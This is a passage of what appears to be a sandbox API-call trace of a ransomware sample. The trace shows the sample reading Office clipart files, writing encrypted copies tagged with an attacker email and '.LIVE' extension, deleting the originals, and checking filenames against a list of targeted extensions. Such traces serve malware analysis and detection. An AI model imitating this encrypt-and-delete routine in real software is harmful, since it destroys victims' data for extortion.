SetEndOfFile (hFile=0x1fc) returned 1 [0151.457] CloseHandle (hObject=0x1fc) returned 1 [0151.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0151.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.483] lstrlenW (lpString=".doc") returned 4 [0151.483] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".docx") returned 5 [0151.483] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.483] lstrlenW (lpString=".pdf") returned 4 [0151.483] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".xls") returned 4 [0151.483] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".xlsx") returned 5 [0151.483] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.483] lstrlenW (lpString=".ppt") returned 4 [0151.483] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.483] lstrlenW (lpString=".zip") returned 4 [0151.483] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".rar") returned 4 [0151.483] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".bz2") returned 4 [0151.483] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.483] lstrlenW (lpString=".7z") returned 3 [0151.483] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".dbf") returned 4 [0151.484] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".1cd") returned 4 [0151.484] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".jpg") returned 4 [0151.484] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".doc") returned 4 [0151.484] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".docx") returned 5 [0151.484] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.484] lstrlenW (lpString=".pdf") returned 4 [0151.484] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".xls") returned 4 [0151.484] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".xlsx") returned 5 [0151.484] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.484] lstrlenW (lpString=".ppt") returned 4 [0151.484] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".zip") returned 4 [0151.484] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".rar") returned 4 [0151.484] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".bz2") returned 4 [0151.484] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString=".7z") returned 3 [0151.484] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.484] lstrlenW (lpString=".dbf") returned 4 [0151.484] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.485] lstrlenW (lpString=".1cd") returned 4 [0151.485] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0151.485] lstrlenW (lpString=".jpg") returned 4 [0151.485] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.485] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.485] lstrlenW (lpString="J0102984.WMF") returned 12 [0151.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.557] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17040) returned 1 [0151.558] CloseHandle (hObject=0x384) returned 1 [0151.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0151.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.558] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.558] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.559] GetLastError () returned 0x0 [0151.559] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4290, lpOverlapped=0x0) returned 1 [0151.617] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x42a0, lpOverlapped=0x0) returned 1 [0151.618] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.618] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.618] SetEndOfFile (hFile=0x1b8) returned 1 [0151.618] CloseHandle (hObject=0x1b8) returned 1 [0151.618] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.618] SetEndOfFile (hFile=0x384) returned 1 [0151.621] CloseHandle (hObject=0x384) returned 1 [0151.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.636] lstrlenW (lpString=".doc") returned 4 [0151.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.636] lstrlenW (lpString=".docx") returned 5 [0151.636] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.636] lstrlenW (lpString=".pdf") returned 4 [0151.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.636] lstrlenW (lpString=".xls") returned 4 [0151.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.636] lstrlenW (lpString=".xlsx") returned 5 [0151.636] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.636] lstrlenW (lpString=".ppt") returned 4 [0151.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.637] lstrlenW (lpString=".zip") returned 4 [0151.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.637] lstrlenW (lpString=".rar") returned 4 [0151.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".bz2") returned 4 [0151.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".7z") returned 3 [0151.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.637] lstrlenW (lpString=".dbf") returned 4 [0151.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.637] lstrlenW (lpString=".1cd") returned 4 [0151.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.637] lstrlenW (lpString=".jpg") returned 4 [0151.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.640] lstrlenW (lpString=".doc") returned 4 [0151.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString=".docx") returned 5 [0151.640] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.640] lstrlenW (lpString=".pdf") returned 4 [0151.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString=".xls") returned 4 [0151.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.640] lstrlenW (lpString=".xlsx") returned 5 [0151.640] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.640] lstrlenW (lpString=".ppt") returned 4 [0151.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.640] lstrlenW (lpString=".zip") returned 4 [0151.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.640] lstrlenW (lpString=".rar") returned 4 [0151.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString=".bz2") returned 4 [0151.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.640] lstrlenW (lpString=".7z") returned 3 [0151.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.640] lstrlenW (lpString=".dbf") returned 4 [0151.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.641] lstrlenW (lpString=".1cd") returned 4 [0151.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0151.641] lstrlenW (lpString=".jpg") returned 4 [0151.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.641] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.641] lstrlenW (lpString="J0105240.WMF") returned 12 [0151.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.641] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11532) returned 1 [0151.641] CloseHandle (hObject=0x3b8) returned 1 [0151.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0151.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.642] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.642] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.643] GetLastError () returned 0x0 [0151.643] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0151.672] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2d10, lpOverlapped=0x0) returned 1 [0151.673] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.673] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.673] SetEndOfFile (hFile=0x350) returned 1 [0151.673] CloseHandle (hObject=0x350) returned 1 [0151.673] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.673] SetEndOfFile (hFile=0x3b8) returned 1 [0151.676] CloseHandle (hObject=0x3b8) returned 1 [0151.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0151.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.677] lstrlenW (lpString=".doc") returned 4 [0151.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".docx") returned 5 [0151.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.677] lstrlenW (lpString=".pdf") returned 4 [0151.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".xls") returned 4 [0151.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.677] lstrlenW (lpString=".xlsx") returned 5 [0151.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.677] lstrlenW (lpString=".ppt") returned 4 [0151.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.677] lstrlenW (lpString=".zip") returned 4 [0151.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.677] lstrlenW (lpString=".rar") returned 4 [0151.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".bz2") returned 4 [0151.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".7z") returned 3 [0151.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".dbf") returned 4 [0151.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".1cd") returned 4 [0151.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".jpg") returned 4 [0151.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".doc") returned 4 [0151.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".docx") returned 5 [0151.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.678] lstrlenW (lpString=".pdf") returned 4 [0151.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".xls") returned 4 [0151.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.678] lstrlenW (lpString=".xlsx") returned 5 [0151.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.678] lstrlenW (lpString=".ppt") returned 4 [0151.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".zip") returned 4 [0151.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.678] lstrlenW (lpString=".rar") returned 4 [0151.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".bz2") returned 4 [0151.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".7z") returned 3 [0151.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.678] lstrlenW (lpString=".dbf") returned 4 [0151.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.679] lstrlenW (lpString=".1cd") returned 4 [0151.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0151.679] lstrlenW (lpString=".jpg") returned 4 [0151.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.679] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.679] lstrlenW (lpString="J0105246.WMF") returned 12 [0151.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.679] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=19328) returned 1 [0151.680] CloseHandle (hObject=0x3b8) returned 1 [0151.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0151.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.680] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.680] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.681] GetLastError () returned 0x0 [0151.681] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4b80, lpOverlapped=0x0) returned 1 [0151.715] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0151.716] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.716] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.716] SetEndOfFile (hFile=0x350) returned 1 [0151.716] CloseHandle (hObject=0x350) returned 1 [0151.716] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.717] SetEndOfFile (hFile=0x3b8) returned 1 [0151.719] CloseHandle (hObject=0x3b8) returned 1 [0151.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.015] lstrlenW (lpString=".doc") returned 4 [0152.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.015] 